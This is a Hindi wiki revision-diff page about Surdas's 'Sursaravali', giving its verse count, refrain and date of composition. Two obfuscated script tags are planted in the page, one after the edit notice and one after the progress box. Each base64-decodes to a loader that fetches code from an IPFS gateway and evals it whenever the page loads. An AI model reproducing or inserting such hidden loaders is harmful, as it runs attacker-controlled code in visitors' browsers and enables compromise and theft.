"सूरसारावली" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('{{पुनरीक्षण}} *सूरसारावली एक सम्पूर्ण ग्रन्थ है। यह ए...' के साथ नया पन्ना बनाया)
 
पंक्ति 2: पंक्ति 2:
 
*सूरसारावली एक सम्पूर्ण ग्रन्थ है। यह एक "वृहद् होली' गीत के रुप में रचित हैं।
 
*सूरसारावली एक सम्पूर्ण ग्रन्थ है। यह एक "वृहद् होली' गीत के रुप में रचित हैं।
 
*सूरसारावली में 1107 [[छन्द]] हैं।   
 
*सूरसारावली में 1107 [[छन्द]] हैं।   
*इसकी टेक है- "खेलत यह विधि [[हरि]] [[होली|होरी]] हो, हरि होरी हो वेद विदित यह बात।''  
+
*इसकी टेक है- "खेलत यह विधि हरि [[होली|होरी]] हो, हरि होरी हो वेद विदित यह बात।''  
 
*सूरसारावली की रचना-काल संवत 1662 वि० निश्चित किया गया है, क्योंकि इसकी रचना [[सूरदास|सूर]] के 67 वें वर्ष में हुई थी।
 
*सूरसारावली की रचना-काल संवत 1662 वि० निश्चित किया गया है, क्योंकि इसकी रचना [[सूरदास|सूर]] के 67 वें वर्ष में हुई थी।
  

13:18, 19 अगस्त 2011 का अवतरण

Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • सूरसारावली एक सम्पूर्ण ग्रन्थ है। यह एक "वृहद् होली' गीत के रुप में रचित हैं।
  • सूरसारावली में 1107 छन्द हैं।
  • इसकी टेक है- "खेलत यह विधि हरि होरी हो, हरि होरी हो वेद विदित यह बात।
  • सूरसारावली की रचना-काल संवत 1662 वि० निश्चित किया गया है, क्योंकि इसकी रचना सूर के 67 वें वर्ष में हुई थी।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख